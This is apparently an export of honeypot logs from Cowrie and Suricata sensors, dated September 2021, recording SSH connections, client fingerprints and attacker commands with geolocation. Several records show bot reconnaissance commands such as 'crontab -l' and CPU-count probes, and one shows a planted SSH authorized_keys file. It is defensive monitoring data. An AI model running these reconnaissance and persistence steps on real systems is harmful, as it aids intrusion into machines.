32282	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:17.860708+03	2021-09-20 15:00:03.279718+03	{"_id": "8QYKA3wBvYTbRNuE5EiY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:17.860708Z", "@timestamp": "2021-09-20T11:50:17.860Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32283	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:18.112211+03	2021-09-20 15:00:03.280717+03	{"_id": "8gYKA3wBvYTbRNuE5kgf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 6, "bytes_toclient": 0, "bytes_toserver": 468}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:18.112211Z", "@timestamp": "2021-09-20T11:50:18.112Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32284	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:50:08.052331+03	2021-09-20 15:00:03.282718+03	{"_id": "ywYKA3wBvYTbRNuEwUhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "3des-cbc", "des-cbc-ssh1"], "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "hassh": "51cba57125523ce4b9db67714a90bf6e", "macCS": ["hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 51cba57125523ce4b9db67714a90bf6e", "session": "317315c1520a", "@version": "1", "timestamp": "2021-09-20T11:50:08.052331Z", "@timestamp": "2021-09-20T11:50:08.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256@libssh.org,ecdh-sha2-nistp256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,blowfish-cbc,3des-cbc,des-cbc-ssh1;hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32285	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:08.04863+03	2021-09-20 15:00:03.283717+03	{"_id": "zgYKA3wBvYTbRNuEwUht", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:08.048630Z", "@timestamp": "2021-09-20T11:50:08.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32286	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:08.844532+03	2021-09-20 15:00:03.284718+03	{"_id": "zQYKA3wBvYTbRNuEwUhp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "107.173.209.238", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "78144d271630", "@version": "1", "destfile": "/home/shadow/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:50:08.844532Z", "@timestamp": "2021-09-20T11:50:08.844Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
32287	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:09.346971+03	2021-09-20 15:00:03.286717+03	{"_id": "0gYKA3wBvYTbRNuExUhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:09.346971Z", "@timestamp": "2021-09-20T11:50:09.346Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32288	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:09.795824+03	2021-09-20 15:00:03.287716+03	{"_id": "0AYKA3wBvYTbRNuExUhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "107.173.209.238", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.44948887825012207, "duplicate": true, "timestamp": "2021-09-20T11:50:09.795824Z", "@timestamp": "2021-09-20T11:50:09.795Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32289	128.199.123.0	109.199.241.180	Cowrie	2021-09-20 14:50:09.991452+03	2021-09-20 15:00:03.288716+03	{"_id": "0wYKA3wBvYTbRNuEyUg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "128.199.123.0", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 1.314, "location": {"lat": 1.314, "lon": 103.6839}, "timezone": "Asia/Singapore", "longitude": 103.6839, "postal_code": "62", "country_name": "Singapore", "country_code2": "SG", "country_code3": "SG", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "128.199.123.0", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "317315c1520a", "@version": "1", "duration": 2.3124518394470215, "timestamp": "2021-09-20T11:50:09.991452Z", "@timestamp": "2021-09-20T11:50:09.991Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32290	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:12.514464+03	2021-09-20 15:00:03.290717+03	{"_id": "2wYKA3wBvYTbRNuE0UgN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:12.514464Z", "@timestamp": "2021-09-20T11:50:12.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32307	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:10.691663+03	2021-09-20 15:00:03.313716+03	{"_id": "1AYKA3wBvYTbRNuEyUg7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:10.691663Z", "@timestamp": "2021-09-20T11:50:10.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32291	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:50:22.33024+03	2021-09-20 15:00:03.291716+03	{"_id": "EQYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "2c9c19a6e9b9", "@version": "1", "timestamp": "2021-09-20T11:50:22.330240Z", "@timestamp": "2021-09-20T11:50:22.330Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32292	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:22.867409+03	2021-09-20 15:00:03.292717+03	{"_id": "EwYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mips-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.session.params", "message": [], "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:22.867409Z", "@timestamp": "2021-09-20T11:50:22.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32293	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:50:22.32956+03	2021-09-20 15:00:03.293717+03	{"_id": "FgYKA3wBvYTbRNuE-Ump", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "dest_ip": "192.168.20.116", "flow_id": 1755866206148926, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 43484, "dest_port": 22, "timestamp": "2021-09-20T11:50:22.329560Z", "@timestamp": "2021-09-20T11:50:22.329Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32294	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:19.573524+03	2021-09-20 15:00:03.295717+03	{"_id": "9QYKA3wBvYTbRNuE7Ehp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:19.573524Z", "@timestamp": "2021-09-20T11:50:19.573Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32295	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:50:20.689642+03	2021-09-20 15:00:03.296717+03	{"_id": "_gYKA3wBvYTbRNuE8EhS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:58165 (192.168.176.2:22) [session: d6cba9c4d937]", "session": "d6cba9c4d937", "@version": "1", "protocol": "ssh", "src_port": 58165, "dest_port": 22, "timestamp": "2021-09-20T11:50:20.689642Z", "@timestamp": "2021-09-20T11:50:20.689Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
44394	87.255.215.173	109.199.241.180	Cowrie	2021-09-20 16:35:23.130355+03	2021-09-20 16:45:01.596563+03	{"_id": "HwZrA3wBvYTbRNuEGqfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sh-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.255.215.173", "asn": 39188, "as_org": "ICON LTD", "latitude": 48.0, "location": {"lat": 48.0, "lon": 68.0}, "timezone": "Asia/Almaty", "longitude": 68.0, "country_name": "Kazakhstan", "country_code2": "KZ", "country_code3": "KZ", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.255.215.173", "eventid": "cowrie.session.params", "message": [], "session": "a1a8232548b8", "@version": "1", "timestamp": "2021-09-20T13:35:23.130355Z", "@timestamp": "2021-09-20T13:35:23.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	KZ
32296	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:22.284086+03	2021-09-20 15:00:03.297716+03	{"_id": "EgYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "107.173.209.238", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.8572702407836914, "duplicate": true, "timestamp": "2021-09-20T11:50:22.284086Z", "@timestamp": "2021-09-20T11:50:22.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32297	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:22.867953+03	2021-09-20 15:00:03.299716+03	{"_id": "FAYKA3wBvYTbRNuE-Ekk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:22.867953Z", "@timestamp": "2021-09-20T11:50:22.867Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32298	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 14:50:13.521584+03	2021-09-20 15:00:03.301719+03	{"_id": "3AYKA3wBvYTbRNuE1Ej0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.session.closed", "message": "Connection lost after 120 seconds", "session": "f5e89efba061", "@version": "1", "duration": 120.00243997573853, "timestamp": "2021-09-20T11:50:13.521584Z", "@timestamp": "2021-09-20T11:50:13.521Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32299	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:13.601113+03	2021-09-20 15:00:03.302717+03	{"_id": "3QYKA3wBvYTbRNuE1Ej0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f65faa37bd8069a96ce308086a83cf18f628097434f9ae6c6ccf6cb8fe73aa1c", "src_ip": "107.173.209.238", "ttylog": "log/tty/f65faa37bd8069a96ce308086a83cf18f628097434f9ae6c6ccf6cb8fe73aa1c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f65faa37bd8069a96ce308086a83cf18f628097434f9ae6c6ccf6cb8fe73aa1c after 1 seconds", "session": "78144d271630", "@version": "1", "duration": 1.086733341217041, "duplicate": false, "timestamp": "2021-09-20T11:50:13.601113Z", "@timestamp": "2021-09-20T11:50:13.601Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32300	192.168.176.2	109.199.241.180	Suricata	2021-09-20 14:50:13.521105+03	2021-09-20 15:00:03.303717+03	{"_id": "3gYKA3wBvYTbRNuE1kh8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:50:13.521105+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 78}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.176.2", "stream": 0, "dest_ip": "87.112.251.105", "flow_id": 1804345649001361, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 22, "dest_port": 35169, "timestamp": "2021-09-20T11:50:13.521105Z", "@timestamp": "2021-09-20T11:50:13.521Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
